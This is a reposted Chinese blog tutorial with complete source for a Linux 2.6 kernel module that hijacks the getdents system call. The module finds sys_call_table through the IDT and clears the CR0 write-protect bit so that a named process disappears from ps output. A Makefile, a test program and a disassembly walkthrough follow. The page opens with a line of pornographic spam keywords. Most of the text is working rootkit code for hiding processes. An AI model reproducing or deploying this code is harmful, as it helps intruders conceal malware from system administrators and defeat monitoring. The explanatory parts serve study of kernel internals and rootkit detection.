国产一级a片免费看高清,亚洲熟女中文字幕在线视频,黄三级高清在线播放,免费黄色视频在线看

打開APP
userphoto
未登錄

開通VIP,暢享免費(fèi)電子書等14項(xiàng)超值服

開通VIP
Linux2.6內(nèi)核中劫持系統(tǒng)調(diào)用隱藏進(jìn)程
網(wǎng)上很多類似的文章,其中很多示例程序都是在比較老的內(nèi)核版本上測試過,很多在新的內(nèi)核下根本無法運(yùn)行,我收集了一些相關(guān)的資料,并給出一個(gè)在linux內(nèi)核2.6.28(ubuntu9.04)上可以運(yùn)行的程序代碼.相比其他一些文章,修改如下:

1.增加了兩個(gè)函數(shù),清CR0的第20位,不然在替換sys_call_table的時(shí)候會報(bào)段錯(cuò)誤.
unsigned int clear_and_return_cr0(void);
void setback_cr0(unsigned int val);

2.針對ubuntu9.04中,ps命令用的系統(tǒng)調(diào)用是sys_getdents,不是sys_getdents64(在suse系統(tǒng)里面用的是sys_getdents64),所以程序中劫持的是sys_getdents的系統(tǒng)調(diào)用.

關(guān)于隱藏進(jìn)程的原理,可以查看其他相關(guān)文章,主要是通過int 0x80 找sys_call_table的地址.

測試環(huán)境: ubuntu9.04 內(nèi)核版本2.6.28

模塊代碼如下:

/*hideps.c*/

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <linux/unistd.h>
//#include <sys/stat.h>
//#include <fcntl.h>
#define CALLOFF 100

//使用模塊參數(shù)來定義需要隱藏的進(jìn)程名

int orig_cr0;
char psname[10]="looptest";
char *processname=psname;

//module_param(processname, charp, 0);
struct {
    unsigned short limit;
    unsigned int base;
} __attribute__ ((packed)) idtr;

struct {
    unsigned short off1;
    unsigned short sel;
    unsigned char none,flags;
    unsigned short off2;
} __attribute__ ((packed)) * idt;

struct linux_dirent{
    unsigned long     d_ino;
    unsigned long     d_off;
    unsigned short    d_reclen;
    char    d_name[1];
};

void** sys_call_table;

unsigned int clear_and_return_cr0(void)
{
    unsigned int cr0 = 0;
    unsigned int ret;

    asm volatile ("movl %%cr0, %%eax"
            : "=a"(cr0)
         );
    ret = cr0;

    /*clear the 20th bit of CR0,*/
    cr0 &= 0xfffeffff;
    asm volatile ("movl %%eax, %%cr0"
            :
            : "a"(cr0)
         );
    return ret;
}

void setback_cr0(unsigned int val)
{
    asm volatile ("movl %%eax, %%cr0"
            :
            : "a"(val)
         );
}


asmlinkage long (*orig_getdents)(unsigned int fd,
                    struct linux_dirent __user *dirp, unsigned int count);

char * findoffset(char *start)
{
    char *p;
    for (p = start; p < start + CALLOFF; p++)
    if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')
        return p;
    return NULL;
}

int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr;
    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
    {
        if (*ptr < '0' || *ptr > '9')
            return (-1);
        res += (*ptr - '0') * mul;
        mul *= 10;
    }
    if(res>0 && res< 9999)
        printk(KERN_INFO "pid=%d,",res);
    printk("\n");
    return (res);
}

struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = get_current(),*entry=NULL;
    list_for_each_entry(entry,&(p->tasks),tasks)
    {
        if(entry->pid == pid)
        {
            printk("pid found=%d\n",entry->pid);
            return entry;
        }
        else
        {
    //    printk(KERN_INFO "pid=%d not found\n",pid);
        }
    }
    return NULL;
}

static inline char *get_name(struct task_struct *p, char *buf)
{
    int i;
    char *name;
    name = p->comm;
    i = sizeof(p->comm);
    do {
        unsigned char c = *name;
        name++;
        i--;
        *buf = c;
        if (!c)
            break;
        if (c == '\\') {
            buf[1] = c;
            buf += 2;
            continue;
        }
        if (c == '\n')
        {
            buf[0] = '\\';
            buf[1] = 'n';
            buf += 2;
            continue;
        }
        buf++;
    }
    while (i);
    *buf = '\n';
    return buf + 1;
}

int get_process(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    //    char *buffer[64] = {0};
    char buffer[64];
    if (task)
    {
        get_name(task, buffer);
    //    if(pid>0 && pid<9999)
    //    printk(KERN_INFO "task name=%s\n",*buffer);
        if(strstr(buffer,processname))
            return 1;
        else
            return 0;
    }
    else
        return 0;
}

asmlinkage long hacked_getdents(unsigned int fd,
                    struct linux_dirent __user *dirp, unsigned int count)
{
    //added by lsc for process
    long value;
    //    struct inode *dinode;
    unsigned short len = 0;
    unsigned short tlen = 0;
//    struct linux_dirent *mydir = NULL;
//end
    //在這里調(diào)用一下sys_getdents,得到返回的結(jié)果
    value = (*orig_getdents) (fd, dirp, count);
    tlen = value;
    //遍歷得到的目錄列表
    while(tlen > 0)
    {
        len = dirp->d_reclen;
        tlen = tlen - len;
        printk("%s\n",dirp->d_name);
                               
        if(get_process(myatoi(dirp->d_name)) )
        {
            printk("find process\n");
        //發(fā)現(xiàn)匹配的進(jìn)程,調(diào)用memmove將這條進(jìn)程覆蓋掉
            memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
            value = value - len;
            printk(KERN_INFO "hide successful.\n");
        }
        if(tlen)
            dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
    }
    printk(KERN_INFO "finished hacked_getdents.\n");
    return value;
}


void **get_sct_addr(void)
{
    unsigned sys_call_off;
    unsigned sct = 0;
    char *p;
    asm("sidt %0":"=m"(idtr));
    idt = (void *) (idtr.base + 8 * 0x80);
    sys_call_off = (idt->off2 << 16) | idt->off1;
    if ((p = findoffset((char *) sys_call_off)))
        sct = *(unsigned *) (p + 3);
    return ((void **)sct);
}


static int filter_init(void)
{
    //得到sys_call_table的偏移地址
    sys_call_table = get_sct_addr();
    if (!sys_call_table)
    {
        printk("get_act_addr(): NULL...\n");
        return 0;
    }
    else
        printk("sct: 0x%x\n", (unsigned int)sys_call_table);
    //將sys_call_table中注冊的系統(tǒng)調(diào)用sys_getdents替換成我們自己的函數(shù)hack_getdents
    orig_getdents = sys_call_table[__NR_getdents];

    orig_cr0 = clear_and_return_cr0();
    sys_call_table[__NR_getdents] = hacked_getdents;
    setback_cr0(orig_cr0);
    printk(KERN_INFO "hideps: module loaded.\n");
                return 0;
}


static void filter_exit(void)
{
    orig_cr0 = clear_and_return_cr0();
    if (sys_call_table)
    sys_call_table[__NR_getdents] = orig_getdents;
    setback_cr0(orig_cr0);
    printk(KERN_INFO "hideps: module removed\n");
}
module_init(filter_init);
module_exit(filter_exit);
MODULE_LICENSE("GPL");

makefile文件如下:

obj-m   :=hideps.o
EXTRA_CFLAGS := -Dsymname=sys_call_table
KDIR   := /lib/modules/$(shell uname -r)/build
PWD   := $(shell pwd)
default:
    $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
clean:
    $(RM) -rf .*.cmd *.mod.c *.o *.ko .tmp*


編寫一個(gè)測試程序looptest.c,如下:
#include<stdio.h>

int main(void)
{
    while(1);
    return 0;
}

編譯該測試程序,#gcc looptest.c -o looptest
并將該程序在后臺運(yùn)行,然后insmod 驅(qū)動模塊hideps.ko,然后輸入ps查看進(jìn)程,可發(fā)現(xiàn),looptest進(jìn)程看不到了....



---------------------

本文歡迎自由轉(zhuǎn)載,但請標(biāo)明出處和本文鏈接,并保持本文的完整性。

CU Godbach
     Blog
http://Godbach.cublog.cn

Dec 2, 2009


二、實(shí)現(xiàn)原理分析

       實(shí)現(xiàn)的方法就是通過中斷向量表,找到系統(tǒng)調(diào)用的中斷向量,再通過系統(tǒng)調(diào)用時(shí)執(zhí)行的指令,最終找到系統(tǒng)調(diào)用表的地址,進(jìn)行系統(tǒng)調(diào)用的替換。


(一)中斷向量表地址的獲取

       中斷向量表(IDT)的入口地址是通過IDTR寄存器來確定的。IDTR寄存器的內(nèi)容如下圖所示。


       這就是上面代碼中定義結(jié)構(gòu)體

structidtr {

    unsigned short limit;

    unsigned int base;

}__attribute__((packed))

的原因。

idtr寄存器的內(nèi)容可以通過匯編指令sidt取出,然后就可以IDT的入口地址idtr.base,即高32bit。


(二)系統(tǒng)調(diào)用中斷向量地址的獲取

下一步就通過IDT找到系統(tǒng)調(diào)用中斷即(0x80)的地址。下圖即一個(gè)中斷向量的組成。由此可以見,一個(gè)中斷向量占用8個(gè)字節(jié)。因此,系統(tǒng)調(diào)用中斷的地址可以表示為:

idt  = idtr.base + 8 * 0x80

 

(三)系統(tǒng)調(diào)用處理例程地址的獲取

獲取到系統(tǒng)調(diào)用中斷的地址后,同樣需要一個(gè)數(shù)據(jù)結(jié)構(gòu),將中斷向量描述符的相關(guān)內(nèi)容保存。數(shù)據(jù)結(jié)構(gòu)的定義如下:

structidt {

    unsigned short off1;

    unsigned short sel;

    unsigned char none, flags;

    unsigned short off2;

}__attribute__((packed));

       通過以上數(shù)據(jù)結(jié)構(gòu)就可以得到系統(tǒng)調(diào)用中斷發(fā)生時(shí)的中斷處理例程的地址,即函數(shù)system_call()函數(shù)的地址:

sys_call_off= idt.off2 << 16 | idt.off1

該函數(shù)是用匯編實(shí)現(xiàn)的,位于arch/i386/kernel/entry.S,下面截取該函數(shù)的部分實(shí)現(xiàn):

    # system call handler stub

ENTRY(system_call)

    RING0_INT_FRAME         #can't unwind into user space anyway

    pushl %eax          # saveorig_eax

    CFI_ADJUST_CFA_OFFSET 4

    SAVE_ALL

    GET_THREAD_INFO(%ebp)

    testl $TF_MASK,EFLAGS(%esp)

    jz no_singlestep

    orl $_TIF_SINGLESTEP,TI_flags(%ebp)

no_singlestep:

                    # system call tracing inoperation / emulation

    /* Note, _TIF_SECCOMP is bit number 8, andso it needs testw and not testb */

    testw$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)

    jnz syscall_trace_entry

    cmpl $(nr_syscalls), %eax

    jae syscall_badsys

syscall_call:

    call*sys_call_table(,%eax,4)

movl %eax,EAX(%esp)     #store the return value


(四)系統(tǒng)調(diào)用表地址的獲取

從上面代碼中,我們可以看到,系統(tǒng)調(diào)用表的入口地址就是上面倒數(shù)第二行中sys_call_table。那么如果獲取到sys_call_table的地址呢。由于這行代碼執(zhí)行了函數(shù)調(diào)用的指令call,該指令對應(yīng)的指令碼為\xff\x14\x85。因此,我們只要在system_call函數(shù)體內(nèi)搜索的前三個(gè)字節(jié)為\xff\x14\x85的內(nèi)存地址,然后將該地址加3,即可獲取到sys_call_table的地址。同時(shí),還有一個(gè)問題需要確定,就是call*sys_call_table(,%eax,4)這條指令相對于system_call函數(shù)體的偏移是多少,這樣我們可以確定內(nèi)存搜索的范圍。下面是entry.o函數(shù)反匯編的部分代碼:

000000d0<system_call>:

  d0:  50                      push  %eax

  d1:  fc                      cld   

  d2:  06                      push  %es 

  d3:  1e                      push  %ds 

  d4:  50                      push  %eax

  d5:  55                      push  %ebp

  d6:  57                      push  %edi

  d7:  56                      push  %esi

  d8:  52                      push  %edx

  d9:  51                      push  %ecx

  da:  53                      push  %ebx

  db:  ba 7b 00 00 00          mov   $0x7b,%edx

  e0:  8e da                   movl  %edx,%ds

  e2:  8e c2                   movl  %edx,%es

  e4:  bd 00 f0ffff          mov    $0xfffff000,%ebp

  e9:  21 e5                   and   %esp,%ebp

  eb:  f7 44 24 30 00 01 00    testl $0x100,0x30(%esp)

  f2:  00  

  f3:  74 04                   je    f9 <no_singlestep>

  f5:  83 4d 08 10             orl   $0x10,0x8(%ebp)

 

000000f9<no_singlestep>:

  f9:   66 f7 45 08c1 01       testw  $0x1c1,0x8(%ebp)

  ff:   0f 85 bf 00 00 00       jne   1c4<syscall_trace_entry>

 105:  3d 3e 01 00 00          cmp   $0x13e,%eax

 10a:   0f83 27 01 00 00       jae    237<syscall_badsys>

 

00000110<syscall_call>:

 110:  ff 14 85 00 00 00 00    call  *0x0(,%eax,4)

 117:  89 44 24 18             mov   %eax,0x18(%esp)

通過以上反匯編代碼的倒數(shù)第二行可以看到,該行即執(zhí)行call *sys_call_table(,%eax,4) 的代碼。那么該執(zhí)行相對于函數(shù)體的偏移為0x110-0xd0= 0x40。我們實(shí)際的代碼中使用偏移值100作為搜索的最大范圍。

至于反匯編出來為什么只是call*0x0(,%eax,4),個(gè)人理解應(yīng)該是該模塊尚未與其他模塊進(jìn)行鏈接的原因。當(dāng)生成內(nèi)核鏡像vmlinux之后,反匯編vmlinux,然后找到system_call函數(shù),就可以看到指令call*0x0(,%eax,4)0x0被替換為有效的地址。本人也已經(jīng)在2.6.18.3vmlinux上驗(yàn)證過了,實(shí)際的代碼如下:

c1003d04<syscall_call>:

c1003d04:   ff 14 85 e0 14 1f c1   call   *0xc11f14e0(,%eax,4)

c1003d0b:   89 44 24 18             mov    %eax,0x18(%esp)

因此可以看出,我當(dāng)前系統(tǒng)的sys_call_table的地址為0xc11f14e0。


(五)系統(tǒng)調(diào)用的替換

一旦我們獲取到了系統(tǒng)調(diào)用表的地址,需要需要替換那些系統(tǒng)調(diào)用,只需要將系統(tǒng)調(diào)用表的某個(gè)系統(tǒng)調(diào)用指向自己實(shí)現(xiàn)的系統(tǒng)調(diào)用即可。

#defineREPLACE(x)old_##x = my_table[__NR_##x];\

    my_table[__NR_##x] = new_##x

    REPLACE(open);

另外,需要注意的是,在替換系統(tǒng)調(diào)用的時(shí)候,要先清CR0的第20位并記錄原始值,不然在替換sys_call_table的時(shí)候會報(bào)錯(cuò)。在替換完畢之后,再將CR0的原始值恢復(fù),代碼如下:

orig_cr0=clear_and_return_cr0();  

setback_cr0(orig_cr0);

以上為Linux劫持系統(tǒng)調(diào)用的總結(jié)。歡迎多多交流,如果不妥之處,請大家指正。


參考鏈接:

1. http://linux.chinaunix.net/bbs/viewthread.php?tid=909712

3. http://linux.chinaunix.net/bbs/thread-1135859-1-2.html

本站僅提供存儲服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點(diǎn)擊舉報(bào)。
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
Linux環(huán)境下的高級隱藏技術(shù)
linux系統(tǒng)調(diào)用
Linux內(nèi)核分析(六)
手把手教你|攔截系統(tǒng)調(diào)用
Linux操作系統(tǒng)下的高級隱藏技術(shù)詳解
Linux系統(tǒng)調(diào)用全過程詳解
更多類似文章 >>
生活服務(wù)
分享 收藏 導(dǎo)長圖 關(guān)注 下載文章
綁定賬號成功
后續(xù)可登錄賬號暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服